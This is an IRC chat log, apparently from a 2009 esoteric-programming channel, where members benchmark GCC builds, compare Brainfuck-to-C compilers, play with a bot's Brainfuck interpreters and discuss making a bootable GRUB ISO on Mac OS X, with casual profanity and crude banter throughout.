with this Athlon X2. It took 9 minutes, 18 seconds. Used up very little memory for most of the time, then jumped to some 2.3 gigabytes in the end. 23:19:18 and I didn't recompile everything! 23:19:20 why would I 23:19:21 :D 23:19:57 Actually, recompiling for a new version of the compiler is highly recommended; the ABI sometimes changes. 23:20:06 % gcc -march=deathstation9000 23:20:07 i686-apple-darwin9-gcc-4.0.1: no input files 23:20:10 http://www.techeblog.com/index.php/tech-gadget/college-students-use-glass-bottles-to-play-tetris-theme 23:20:14 fizzie, interesting. And I only have 1.5 GB 23:20:20 pikhq: er, what about binary blobs? 23:20:29 AnMaster: lern2share 23:20:32 pikhq, yeah I read the GCC changelog to figure out when it does 23:20:36 ehird, ? 23:20:43 AnMaster: er 23:20:44 lern2swap 23:20:50 (ehird: lern2words) 23:21:06 ehird, yes I have swap too. another 1.5 GB. But using it == slow 23:21:14 he said it just jumped at the en 23:21:15 d 23:21:21 so it'd only be a few seconds, I assume 23:21:26 ehird: Weird shit happens. 23:21:31 pikhq: that sucks 23:21:41 i rely on binary blobby sort of things 23:21:42 ehird, minutes. I have 512 MB ram *free* + 244 MB swap in use 23:21:55 fizzie: how long did it use >2 23:21:55 g 23:21:56 actually: 23:21:58 total used free shared buffers cached 23:21:58 Mem: 1504 1065 438 0 77 231 23:21:58 -/+ buffers/cache: 755 748 23:21:58 Swap: 1960 276 1684 23:22:16 1G total free 23:22:18 ehird: I wasn't actually looking so closely. Not over a minute. 23:22:30 ehird, how did you read that 23:22:48 AnMaster: -/+ buffers/cache sez 748 free 23:22:51 swap says 276 free 23:23:00 Swap says 276 used. 23:23:01 AnMaster: you DO know that the kernel reserves a ton of memory for itself, right? 23:23:06 fizzie: oh 23:23:09 unaligned irc client 23:23:11 ehird, where does it end up with 1 GB 23:23:19 so 2432MB free 23:23:21 ehird, fail2fonts 23:23:23 :P 23:23:31 AnMaster: "fail2"? lern2meme 23:23:49 ehird, rather-iNot 23:24:14 ehird, actually: in your i 23:24:20 what 23:24:26 ehird, rebus 23:24:29 kind of 23:24:31 ...? 23:24:41 in your i = Use i as referring to math 23:24:52 "in your dreams" 23:24:57 bad joke yes 23:25:05 Beauty is in the eye(5) 5x5 identity matrix of the beholder. 23:25:08 actually you just came off as a drug-addled incoherent 23:25:09 -O3 finished 23:25:13 fizzie, hehe 23:25:16 bsmntbombdood: srsly? 23:25:17 that's fast. 23:25:22 your machine is smoking. gimme an ssh connection 23:25:24 bsmntbombdood, binary size? 23:25:31 8 minutes, 18 seconds 23:25:35 no no. Give me an ssh connection! 23:25:40 AnMaster: same as the other one 23:25:47 bsmntbombdood, same url? 23:26:00 hold on 23:26:03 wait, same binary size? 23:26:09 that must mean that -O3 did not much 23:26:12 or a very big coincidence 23:26:15 http://en.wikipedia.org/wiki/Superoptimization 23:26:16 Very 23:26:18 Interesting 23:26:22 http://filebin.ca/pxgzxh/a.out is the O3 23:26:35 AnMaster: superoptimization is totally impractical 23:26:41 ehird: not exactly the same 23:26:43 ehird, sadly :( 23:26:48 bsmntbombdood: oh 23:26:53 ehird, it is still interesting. 23:27:01 they are both 1.2megabytes 23:27:51 didn't someone predict this compilation would take hours? 23:28:03 me 23:28:08 it should have 23:28:11 but i7s are too fast ;-) 23:28:38 fizzie's athlon was that much slower 23:28:44 bsmntbombdood: do "-O3 -march=i7 -msse4.1" 23:28:46 actually I got that OOM message after just a few minutes on my own Sempron 23:28:49 bsmntbombdood: it'll be ridiculously fast 23:28:53 bsmntbombdood: :P 23:28:54 bsmntbombdood: or try icc 23:28:59 GCC is RAM bount, not memory bound 23:29:00 oh wait 23:29:04 err 23:29:05 it has sse4.2 too 23:29:09 bsmntbombdood: do "-O3 -march=i7 -msse4" 23:29:13 RAM bound, not CPU bound 23:29:14 mostly 23:29:17 it should take about the same time 23:29:21 AnMaster: I said that ages ago 23:29:23 ehird: i don't care about running it 23:29:24 ehird, yes 23:29:32 bsmntbombdood: you should do it anyway, it'll just take 8 minutes 23:29:33 ehird, you seem to be forgetting it though 23:29:38 bsmntbombdood, do it on GCC 4.4 23:29:41 and it'll be a ridiculously fast computation for ridiculously fast hardware 23:29:49 with the graphite loop optimiser 23:29:49 :D 23:30:04 to reshape loops 23:32:02 i once tried to compile the output of gperf on a large dictionary 23:32:17 gperf took 3 or so days i think 23:32:22 and gcc crashed 23:32:31 -!- coppro has joined. 23:32:35 hi coppro 23:32:40 eaten any feces lately? 23:32:41 bsmntbombdood, you mean profiled feedback? 23:32:54 AnMaster: gperf not gprof 23:33:09 that was just from handling a large array of strings though 23:33:16 bsmntbombdood, oh the perfect hash one 23:33:16 right 23:33:21 {"foo", * 100000} 23:33:36 bsmntbombdood, gperf works best on small sets. For large ones better use other hash libs. 23:33:47 i know, it had a load factor of like 400 23:34:39 bsmntbombdood, try cmph 23:35:00 bsmntbombdood, it worked well for me on large sets 23:35:03 not THAT large 23:35:11 meh, not worth it 23:35:16 but a few thousand elements 23:35:19 haven't tried more 23:35:26 bsmntbombdood, http://cmph.sourceforge.net/ 23:35:40 AnMaster: are you playing lostking? 23:35:57 bsmntbombdood, yes. testing that it works 23:36:14 bsmntbombdood, next step is to improve the BF-to-C translation 23:36:18 what's a good brainfuck benchmark? 23:36:26 bsmntbombdood, mandlebrot.b 23:36:34 and, esotope-bfc is a way better compiler 23:36:51 than in-between (the one that generated that output you compiled) 23:37:33 *mandelbrot.b 23:37:35 I do most the the basic stuff it does though. What I don't yet (since I haven't worked out a good way to do it reliably and that works on nested loops): loop-to-polynom 23:37:41 ehird, ah thanks 23:37:53 bsmntbombdood: compile mandelbrot.b with esotope-bfc, hthen 23:37:55 er 23:38:01 yeah he should 23:38:03 bsmntbombdood: compile mandelbrot.b with esotope-bfc, then "gcc -O3 -march=i7 -msse4" 23:38:03 yeah 23:38:04 haven't tried it 23:38:10 ehird, 4.2 23:38:11 bsmntbombdood: it'll be jaw-droppingly ... fast. 23:38:11 iirc 23:38:13 someone give me the c, i'm too lazy 23:38:19 bsmntbombdood: AnMaster can :-P 23:38:22 no 23:38:25 bah 23:38:26 I don't have esotope here 23:38:28 :P 23:38:28 AnMaster: link to esotope-bfc 23:38:34 google.com 23:38:43 sorry: 23:38:47 k 23:38:47 http://google.com 23:38:52 that is clickable even! 23:39:07 bsmntbombdood: i will supply this code on the condition that you use "gcc -O3 -march=i7 -msse4" :-P 23:39:18 of course 23:39:24 ehird: -march=i7 implies -msse4. 23:39:32 pikhq: oh? okay. 23:39:38 bsmntbombdood: "gcc -O3 -march=i7" then. 23:39:41 http://google.com/search?q=esotope+bfc you mean :P 23:39:47 Now we're talking. 23:40:05 what 23:40:16 !bf_txtgen http://google.com/search?q= 23:40:25 !help 23:40:26 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 23:40:27 hm 23:40:32 GregorR, it fails it seems 23:40:39 GregorR, I suspect quoting fail 23:40:42 !bf_txtgen = 23:40:43 Oh, hah, it's downloading that page :P 23:40:47 33 ++++++++++[>++++++>+>><<<<-]>+.>. [99] 23:40:51 GregorR, oh 23:40:53 hehe 23:40:59 'twas a stupid. 23:41:00 bsmntbombdood: http://pastie.org/481059.txt?key=nlsidb0ldiwfqybsv76tcg; "time gcc -O3 -march=i7 mandelbrot.b.c -o mandelbrot" 23:41:01 GregorR, so how do you force it as text 23:41:03 don't forget the time! 23:41:08 AnMaster: I dont' have a way :P 23:41:13 !bf_txtgen htp://google.com/search?q= 23:41:17 201 +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++.----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.>-----. [730] 23:41:19 bsmntbombdood: then "time ./mandelbrot > /dev/null" 5 times 23:41:28 uhhuh 23:41:35 uhuuhuhuhh 23:41:35 !bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--. 23:41:37 don't forget the time! 23:41:44 ehird, that isn't so much different from mine 23:41:54 AnMaster: it's hard to optimize such a program 23:41:54 !bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.>-----. 23:41:59 >_> 23:42:02 but esotope seems to have dnoe a good job 23:42:17 while (p[7] != 0) p -= 9; 23:42:18 142844 +++++[>+++++++++++++++++++++++++>++++++++++++++>+++++++++++++++++>++++++++++++++<<<<-]>>----------.>>++++++++++++++++++++++++++++++++++.<<<---------.>+++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++.<<------------------------------------------------------.--.>-----.<+++++++++++++++++++++++++++++++++++++++++.----.>----.>----------------------------------------------.>--------------------------------------------.<+++++++ 23:42:19 how confusing 23:42:21 bah 23:42:26 mandelbrot.c:1: error: bad value (i7) for -march= switch 23:42:33 while (p[7] != 0) p -= 9; 23:42:34 bsmntbombdood: upgrade gcc 23:42:35 how confusing 23:42:37 WUT 23:42:43 AnMaster: i looked at it and my brain broke for a second 23:42:44 how is that confusing 23:42:44 also 23:42:45 int loopcnt8; 23:42:47 for (loopcnt8 = p[43]; loopcnt8 > 0; --loopcnt8) { 23:42:49 pretty neat 23:42:56 bsmntbombdood: srsly, upgrade gcc just for this 23:42:57 it's vital 23:43:04 we need i7/sse SHPEED goodness. 23:43:11 ehird, yes, I did that in "before", and I have the needed metadata already to do it. 23:43:15 !addinterp google bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[.,] 23:43:15 Interpreter google installed. 23:43:20 ehird, just FYI 23:43:26 !google let me google that for you 23:43:27 http://google.com/search?q=let me google that for you 23:43:31 ehird, but I haven't got around to writing that pass yet. 23:43:36 AnMaster: k 23:43:40 Slightly imperfect :P 23:43:57 with -march=native, running it takes about 1.2 seconds 23:43:59 ehird, I have all the analysing data needed to do it all. Just need to write the optimiser pass that uses it :( 23:44:01 err 23:44:07 s/:(/:)/ 23:44:17 !google 23:44:18 http://google.com/search?q= 23:46:25 !google esotope+bfc 23:46:26 http://google.com/search?q=esotope+bfc 23:46:33 ehird, what does estope generate for the program in !google 23:46:37 PUTS? 23:46:45 AnMaster: i'll try 23:46:51 23:43 bsmntbombdood: with -march=native, running it takes about 1.2 seconds 23:46:52 that's slow 23:46:55 I will be able to do that once I get the loop unrolling done 23:46:56 the top interp takes ~13 secs 23:47:14 AnMaster: 23:47:15 PUTS("http://google.com/search?q="); 23:47:15 p[3] = GETC(); 23:47:17 while (p[3]) { 23:47:19 PUTC(p[3]); 23:47:20 ehird, output from my compiler running it takes about 2 seconds here. And my CPU is slow 23:47:21 p[3] = GETC(); 23:47:23 } 23:47:26 ehird, nice 23:47:30 Sweet 23:47:49 AnMaster: not perfect, though 23:47:51 ehird, I get this currently: http://pastebin.com/m1dc332dd 23:47:54 it doesn't need to assign to the tape 23:48:00 ehird, hah. 23:48:01 well, i guess it has to use a variable 23:48:02 so whatever 23:48:07 but yeah 23:48:09 esotope is sweet 23:48:30 ehird, I already do the const, out -> out_const. Just not the loop flatterning 23:48:32 AnMaster: I'll try life.b now 23:48:34 so I need to add that 23:48:39 ehird, link to it? 23:48:43 I'm missing it 23:48:44 http://www.linusakesson.net/programming/brainfuck/life.bf 23:48:48 thanks 23:49:01 s/bf/b/ since the person evidently doesn't know about befunge-98 23:49:01 * AnMaster mvs it to .b 23:49:05 snap 23:49:14 holy nested loops batman 23:49:15 ehird, and that is befunge 93 23:49:18 er 23:49:20 i typed 93 23:49:21 but typoed 23:49:21 befunge98 == .bf98 23:49:26 er 23:49:27 err 23:49:27 .b98 23:49:28 you mean 23:49:28 b98 23:49:29 yeah 23:49:32 I typoed too 23:49:45 out of solidarity or something. 23:49:45 life and mandelbrot don't get much constantizing 23:49:54 ehird, it is hard to do in them 23:49:59 i bet someone's been testing on lostkng's stupid generated code 23:50:01 AnMaster: yeah, still 23:50:10 I have studied mandelbrot quite a lot 23:50:15 just to figure that out 23:50:30 how do I get a list of march's 23:50:55 http://pastebin.ca/1425889 23:50:58 ehird, man gcc 23:51:01 i did that 23:51:04 didn't know what to grep for 23:51:26 ehird, grep for k8, that lands you in the right section (x86 specific) 23:51:27 AnMaster: that is much shorter. over 300 lines for esotope 23:51:28 I wonder why? 23:51:33 ehird, wow 23:51:41 ehird, pastebin your life for esotope! 23:51:56 i missed context there for a second 23:51:57 and went wtf 23:52:06 ehird, what 23:52:13 this song is awesome 23:52:15 on your paste lin 23:52:15 ee 23:52:21 AnMaster: http://pastebin.ca/1425899 23:52:22 ehird, err 23:52:29 23:51 AnMaster: ehird, pastebin your life for esotope! 23:52:34 i didnt know what life meant there 23:52:35 for a second 23:52:39 examples/life.b.c lines 425-470/470 (END) 23:52:49 it is longer? 23:52:52 mine I mean 23:52:54 oh hm 23:52:56 it looked shorter 23:53:03 due to font/browser-editor size differences 23:53:06 and lack of indentation I guess 23:53:20 ehird, indention isn't needed in auto generated code 23:53:29 W.T.F. 23:53:29 if I need that while reading it I do astyle on it 23:53:32 AnMaster: i know 23:53:36 it jsut threw me off 23:53:37 and 23:53:38 wtf 23:53:40 my gcc 23:53:42 what "W.T.F" 23:53:42 doesn't have 23:53:44 core 2 23:53:46 optimizations 23:53:48 just prescott and p4 and shit 23:53:49 ehird, how old 23:53:57 what version 23:53:58 4.0.1; it's ancient but not THAT ancient 23:54:01 * ehird tries gcc-4.2 23:54:06 ehird, yes that ancient 23:54:12 it's not older than core2. 23:54:20 gcc-4.2 has core2, huh. 23:54:28 % time gcc-4.2 -O3 -march=core2 mandelbrot.b.c -o mandelbrot 23:54:38 gcc-4.2 -O3 -march=core2 mandelbrot.b.c -o mandelbrot 1.56s user 0.25s system 18% cpu 9.958 total 23:54:52 boy it's slow 23:55:00 6.5 seconds first time 23:55:07 bff.c does it in 13 23:55:12 and it's an interpreter! 23:55:13 ha ha, mine compiles in 1.4 seconds on the wall 23:55:14 6.7 second time 23:55:27 um 23:55:39 ~5 seconds for -O3 here on my Sempron 23:55:41 :O 23:55:53 MY COMPUTER IS FASTER THAN YOURS 23:55:55 for the one generated by my compiler 23:56:03 it's just Eddie's in the space time continuum 23:56:06 AnMaster: give me your code 23:56:07 bsmntbombdood, yeah, 2 GHz Sempron 3300+ 23:56:21 now life.b time 23:56:25 bsmntbombdood, http://pastebin.ca/1425908 23:56:32 if it is mandlebrot 23:56:35 % time gcc-4.2 -O3 -march=core2 life.b.c -o life gcc-4.2 -O3 -march=core2 life.b.c -o life 0.21s user 0.04s system 21% cpu 1.145 total 23:56:39 AnMaster: gimme some life.b input 23:56:45 ehird, ? 23:56:47 i forget the syntax 23:56:49 oh 23:56:52 you didn't know of it 23:56:54 until now 23:56:55 heh 23:57:20 $ time gcc -std=gnu99 -O3 -Wall -Wextra -o life examples/life.b.c 23:57:20 real 0m0.894s 23:57:20 user 0m0.696s 23:57:20 sys 0m0.042s 23:57:34 and I don't know how you do it 23:57:37 "while Sweden turned down the euro in a 2003 referendum, and has circumvented the obligation to adopt the euro by not meeting the monetary and budgetary requirements." 23:57:37 ehird, tell me 23:57:42 AnMaster: your code takes 1.9 seconds, compared to 1.2 for the other compiler 23:57:47 "Hah, take that, EU! We're gonna be poor so you can't force your currency on us." 23:57:49 —Sweden 23:57:58 AnMaster: row/col turns it on 23:58:03 ehird, what about UK and Euro 23:58:05 AnMaster: then an empty line steps a simulation 23:58:06 ehird, and to run it? 23:58:09 ah 23:58:22 AnMaster: the UK just said "we're fat lazy euro-hating bastards and we'll do what the fuck we want k." 23:58:36 ehird, kay 23:59:06 AnMaster: to get a glider: 23:59:08 !delinterp google 23:59:08 Interpreter google deleted. 23:59:26 ehird, yes? 23:59:33 !addinterp google bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[>[-]>[-]<<[>+>+<<-]>>>[-]++++++++[<---->-]<[[-]>+<]>-[<<[-]>+++++++[<++++++>-]<+>>[-]]<<.[-]<,] 23:59:33 Interpreter google installed. 23:59:35 sec 23:59:37 !google hello world 23:59:37 http://google.com/search?q=hello+world 23:59:39 :) 23:59:43 haha 2009-05-18: 00:00:12 That was way too much work for something serving almost no purpose :P 00:00:18 -!- BeholdMyGlory has quit (Remote closed the connection). 00:01:02 AnMaster: ab;bc;cc;cb;ca 00:01:05 where ; = newline 00:01:15 note that the field is bounded 00:01:17 which sux 00:01:58 yeah 00:02:08 ehird, rewrite it to make it use an infinite field 00:02:15 hahahahahahano 00:02:20 ehird, hashlife in bf 00:02:25 i stab you 00:02:26 ehird, it is possible 00:02:31 ehird, just use gcc-bf :P 00:03:21 ehird, this is a lot easier in befunge btw. :D 00:03:25 (as usual) 00:03:32 -!- nooga has joined. 00:03:39 befunge is for toruses 00:03:40 GET IT??? 00:03:47 IT'S FUNNY! 00:03:57 ehird, um. No it isn't. It is for Lahey-space 00:04:03 and I don't get the joke 00:04:04 ehird: i'm trying to install grub under leopard, i need to create bootable cd 00:04:05 I knew you would say that. 00:04:10 AnMaster: "X is for squares" 00:04:17 ok 00:04:18 square meaning uncool/stupid/fag/purple-monkey. 00:04:18 I see 00:04:26 yeah I heard that one 00:04:29 nooga: you can't use grub directly. 00:04:31 I see what you mean 00:04:31 install refit 00:04:35 Circles are for squares. 00:04:39 nooga: also, grub can't boot os x 00:04:40 ehird: huh? 00:04:43 nooga: only BIOS-based OSs 00:04:54 nooga: OS X uses EFI, not BIOS, so shit's different. 00:04:57 Er, not OS X. 00:04:58 Macs. 00:05:11 ehird: no no, i need grub to install it ON iso image to boot my kernel 00:05:13 OS X depends on having EFI though. 00:05:44 nooga: oh. 00:05:49 grub doesn't work with EFI 00:05:53 GregorR-L: tell that to osx86 00:05:55 AnMaster: no, no 00:05:57 i still need to copy my old hdd 00:05:58 efi has bios emulation 00:06:01 grub2 does 00:06:11 so you can boot to grub from efi 00:06:12 just fine 00:06:18 ehird, then what is bootcamp for 00:06:21 ehird: Touche sir :P 00:06:21 am i clear? ;p 00:06:32 AnMaster: bootcamp IS the bios emulation 00:06:40 i need grub to make a bootable cd image WITH MY KERNEL 00:06:45 AnMaster: Boot Camp the application is just a partitioner and a Windows-mac-hardware-driver-dispenser. 00:06:50 aha 00:06:55 AnMaster: It requires EFI update #blah, which adds the actual BIOS emulation. 00:07:05 #blah 00:07:08 huh 00:07:25 AnMaster: No, not #blah. 00:07:26 can osx mount iso files? 00:07:26 :P 00:07:30 nooga: Yes. 00:07:33 Double click them 00:07:35 * Sgeo falls asleep on the keyboa 00:07:36 ehird, what do you mean then 00:07:37 I get a 936KB LostKng when I compile with gcc-4.3 -Os. 00:07:39 nooga: to burn an ISO, use disk utility 00:07:47 AnMaster: Just EFI update some-build-number. 00:07:52 ah 00:07:54 And I get a "gcc-4.4: Internal error: Killed (program cc1)" when I try with gcc-4.4 -Os. 00:07:57 nooga: drag the iso into the side pane, choose burn 00:07:58 prophet 00:08:15 ehird, btw I suspect my compiler generates smaller output than esotope-bfc. Due to less un-needed spacing 00:08:20 AnMaster: lol. 00:08:21 plus... 00:08:25 p[19] = 0; 00:08:28 is UGLY 00:08:30 AnMaster: esotope uses real tabs 00:08:32 ... also, what? 00:08:34 how is that ugl 00:08:34 y 00:08:49 I tend to write p[19]=0; in hand written code 00:09:11 ew. 00:09:14 p[4] += p[0]; 00:09:14 p[0] = p[4]; 00:09:14 p[6] += p[4]; 00:09:20 I don't write like that 00:09:22 how the fuck is spacing ugly 00:09:26 plus 00:09:28 also 00:09:30 nobody gives a shit 00:09:30 that is some fucked up code 00:09:31 how you code 00:09:32 kthx 00:09:41 it doesn't copy propagate 00:09:46 ehird, I do better than that! 00:09:47 :D 00:10:11 ehird, I copy propagate 00:10:11 2 by 2, hands of blue 00:10:23 bsmntbombdood: i need a poo 00:10:25 fuck yeah rhyming 00:10:42 i need damn mkisofs here 00:10:51 where's my mkisofs 00:11:02 nooga: hdiutil 00:11:11 yw 00:11:49 so what monitor should i get 00:11:51 What's "yw" mean? "You wanker"? 00:12:39 You're Welcome. 00:12:41 "your way"? "YouWay? 00:12:42 bsmntbombdood: ask fizzie 00:12:43 ah 00:12:44 he has a nice thing. 00:12:44 fizzie: did you ever time -O2? 00:12:49 er. 00:12:51 i don't mean it like that. 00:12:53 i mean monitor 00:12:56 :DDDDDDDDDDDDDDDDdd 00:12:57 bsmntbombdood: Not on the fast box, no. 00:13:04 AnMaster: stop being me 00:13:10 ehird, wut 00:13:20 i'm the one who goes :DDDDDDDDDDDDDDdddd although I stole it from oklopol 00:13:22 ehird: so how can i create iso image using this thingy? 00:13:24 where's oklopol been lately 00:13:27 nooga: hdiutil create 00:13:38 ehird, actually I was trying to go ":DDDDDDDDDDDDDDDDDDD" 00:13:38 yea 00:13:41 but 00:13:43 nooga: hdiutil create -help 00:13:44 found create 00:13:45 I released shift too early 00:13:46 ehird, ^ 00:13:51 AnMaster: well w/e 00:13:51 so typo 00:13:54 The monitor I have here is a LG L246WH, but it's not *that* dissimilar to other 24" 1920x1200 screens. It's reasonably nice, though. 00:14:02 but which fs, partitionType, etc 00:14:16 ehird, although. That is an interesting idea. 00:14:30 nooga: hdiutil create -ISOCD 00:14:31 I think 00:14:32 Not so good if you want to connect two computers to it, though, since it only does HDMI+VGA (incl. a DVI-HDMI cable by default) while many others do the HDMI+DVI+VGA triplet. 00:14:34 er 00:14:36 -layout ISOCD 00:14:42 oh 00:14:46 oh wait 00:14:47 nooga: 00:14:50 24" is a big monitor 00:14:53 nooga: open disk utility 00:15:01 nooga: To create an ISO image in OS X, use Disk Utility to burn a new image choosing “CD/DVD Master” as the Image Format. That creates an image with the cdr extension. Just rename the cdr file extension to iso and there you have it! 00:15:15 nooga: although hmm 00:15:24 aha 00:15:27 wait no 00:15:28 ehird, mkisofs? 00:15:28 bleh 00:15:29 i dunno 00:15:31 just make it work 00:15:33 AnMaster: not on os x 00:15:38 ehird, not ported? 00:15:43 not extant 00:15:50 use hdiutil, i hear it's nice 00:15:56 it can make floppies easily, at least 00:15:56 ehird, "extant"? 00:16:05 exist, extant 00:16:08 ehird floppies... 00:16:11 why 00:16:12 -!- sebbu2 has joined. 00:16:13 floppy images, that is. 00:16:15 AnMaster: i made an os. 00:16:25 ehird, I can make a floppy image too easily. 00:16:26 i had a make target that put a bootable floppy into the place where my VM wanted it 00:16:29 and yes 00:16:32 but hdiutil does it nicely 00:16:33 24" is the most common size if you want 1920 pixels horizontally. Though nowadays there's a large-ish amount of 1920x1080 23" screens. That's probably not any less wide, though. And there are some 21.5" 1920x1080 screens too, if you want physically-smaller. 00:16:35 just one or two commands 00:16:54 fizzie: how much wider are 24"s than 20"s? 00:17:03 ehird, same here. mkfs.fat /dev/fd0 00:17:04 nooga: "man hdiutil" 00:17:08 ehird, mount 00:17:09 AnMaster: it did way more than that 00:17:13 also, it made a floppy IMAGE 00:17:31 ehird, ok. dd if=/dev/zero of=/image bs=whatever 00:17:38 ok, a bit more work yes 00:17:38 ... fail. 00:17:46 this put files on the image directly 00:17:46 ehird, but why would I want it 00:17:51 fffu 00:17:59 AnMaster: you wouldn't if you weren't making an OS, but I was. 00:17:59 Well, my 24" monitor is physically 56 cm wide, while the 20" is just 44 cm, so quite a bit wider. 00:18:05 fizzie: argh 00:18:11 i need to make bootable cd with grub 00:18:12 too big for my neck 00:18:18 nooga: man hdiutil 00:18:23 ehird, I would make a wrapper for it 00:18:23 and it seems to be impossible here 00:18:26 that did what I wanted 00:18:26 nooga: man hdiutil 00:18:27 nooga: man hdiutil 00:18:27 nooga: man hdiutil 00:18:35 ehird, even: a make target 00:18:39 make floppy 00:18:40 no 00:18:42 AnMaster: what fun; it took me 4 commands in the make target. 00:18:45 it won't do 00:18:49 nooga: that's nice. 00:18:51 ehird, so? 00:19:04 AnMaster: so i saved work by using hdiutil, and therefore hdiutil is awesome, malcontent. 00:19:20 ehird, I could distribute that script 00:19:26 and then everyone could do the same 00:19:27 :D 00:19:28 ehird: I might consider a 21.5" 1920x1080 screen if I were picking a monitor now. After all, it's (almost) the same amount of pixels, just something like 94dpi -> 102dpi. 00:19:33 what the fuck kind of problem have you got with me liking hdiutil, AnMaster? 00:19:38 ehird, none. 00:19:43 can't bring yourself to like anything apple? 00:19:46 AnMaster: then why are you bothering me about it 00:19:52 fizzie: yeah, but, so small. 00:19:53 http://www.gnu.org/software/grub/manual/grub.html#Making-a-GRUB-bootable-CD_002dROM << recreate this under leopard 00:20:02 ehird, how do you create an ISO image with RR extensions with it 00:20:09 fizzie: and I want the standard 96dpi tbh 00:20:11 should be easy but i don't know the tools 00:20:20 nooga: MAN HDIUTIL nooga: MAN HDIUTIL nooga: MAN HDIUTIL nooga: MAN HDIUTIL nooga: MAN HDIUTIL nooga: MAN HDIUTIL nooga: MAN HDIUTIL nooga: MAN HDIUTIL nooga: MAN HDIUTIL nooga: MAN HDIUTIL 00:20:24 NOOOOOOOOOOOO 00:20:29 nooga: then stop whining 00:20:30 FUCK HDIUTIL 00:20:37 i want mkisofs 00:20:44 nooga, install linux 00:20:47 "Waah how do I make a cd" "Like this!" "NO HOW DO I MAKE A CD WAAAAAAAH" 00:20:47 no 00:21:00 nooga, then I agree with ehird 00:21:10 because this whole leopard sucks, tehe are no basic tools 00:21:14 it's called BSD 00:21:25 nooga, actually. Go try using hdiutils 00:21:27 see the man page 00:21:30 did you look at it 00:21:43 AnMaster: i retract my classification of you as malcontent; it's nooga. 00:21:55 create size_spec image 00:21:55 create a new image of the given size or from the provided 00:21:57 data. If image already exists, -ov must be specified or 00:21:59 create will fail. If image is attached, it must be detached 00:22:01 before it can be overwritten, even if -ov is specified. To 00:22:03 make a cross-platform CD or DVD, use makehybrid. See also 00:22:05 EXAMPLES below. 00:22:07 nooga: /EXAMPLES 00:22:09 I'm so helpful. 00:22:14 ehird, you need to give it eltorito no-emu mode 00:22:28 -no-emul-boot 00:22:30 that bit 00:23:19 AnMaster: it has -no-emul-boot 00:23:28 and -boot-load-size 00:23:29 -boot-load-size 4 -boot-info-table ? 00:23:31 hm 00:23:40 it supports most everything mkisofs does, it seems. 00:23:41 ehird, sounds like a rip-off then (j/k) 00:23:53 but what about -boot-info-table 00:23:54 AnMaster: i'm sure if it was linux you'd be calling it compatibility :) 00:24:02 no -boot-info-table 00:24:20 AnMaster: i'm sure if it was linux you'd be calling it compatibility :) <-- yes 00:24:44 -boot-info-table 00:24:44 Specifies that a 56-byte table with information of the CD-ROM layout will be patched in at offset 8 in the boot file. If this option 00:24:44 is given, the boot file is modified in the source filesystem, so make sure to make a copy if this file cannot be easily regenerated! 00:24:44 See the EL TORITO BOOT INFO TABLE section for a description of this table. 00:25:08 that seems backwards 00:25:21 my my 00:25:23 "the boot file is modified in the source filesystem, so make sure to make a copy if this file cannot be easily regenerated" 00:25:24 my my 00:25:25 that 00:25:25 is 00:25:27 so backwards 00:25:33 my my my my my my my my my mym ym ym ym ymym my ym my my my mymymymym 00:25:37 s/cannot/can/ 00:25:54 I assume "sudo port install cdrtools" should bring in the mkisofs, if there is some religious reason for only using that. 00:26:00 cdrtools? 00:26:01 aaaaaa 00:26:07 That 00:26:27 fizzie: That 00:26:31 ehird, is that the debian fork? 00:26:38 AnMaster: no 00:26:41 ah good 00:26:43 it's the original schilling shitfest 00:26:43 That's where mkisofs is from, after all. There's some "dvdrtools" fork; I don't think they have the Debian fork. 00:26:45 the debian one sucks 00:26:53 of licensing shittiness, arrogance and bugs galore 00:26:58 The Debian one renames it to genisoimage, anyway. 00:27:03 ehird, well the "schilling" one actually works with my system 00:27:09 that is more important to me 00:27:14 Clearly there are only two options. 00:27:27 ehird, with cdrcrap it fail all burns 00:27:37 Only two options! 00:27:39 Debian and Schilling 00:27:40 or whatever the other one was callled 00:27:46 There is no other software to do CD stuff on linux. 00:27:48 Whatsoever. 00:27:48 ehird, link me to the third 00:27:53 I'm waiting. 00:27:56 AnMaster: http://google.com 00:28:05 ehird, There is no third afaik 00:28:10 so prove there is one 00:28:10 Debian packages it separately into wodim and genisoimage, I'm not sure if the fork has a name. 00:28:16 cdrdao? 00:28:30 AnMaster: libburn, http://fy.chalmers.se/~appro/linux/DVD+RW/ 00:28:33 (those are two options) 00:28:34 Anyway, there is a third fork called dvdrtools, but it seems a bit dead. 00:28:38 pikhq, ah right. and I tried that before. Didn't work either 00:28:46 AnMaster: What 00:28:48 cdrdao's not a cdrtools fork, though. 00:28:56 pikhq, was about 2 years ago though 00:28:57 CD burner do you have, what interface, and are you still on 2.4? 00:29:03 pikhq, I'm on 2.6 00:29:07 and I were then too 00:29:13 AnMaster: libburn, and the other one I linked 00:29:15 are you ignoring me? 00:29:18 you asked, I proved. 00:29:19 pikhq, and DVD burned. Not CD burner 00:29:23 Okay, so IDE emulation bugs are right out. 00:29:28 Evidently. 00:29:29 Erm. SCSI. 00:29:36 ehird, I'm putting you on hold until I discussed with pikhq 00:29:43 Kernel 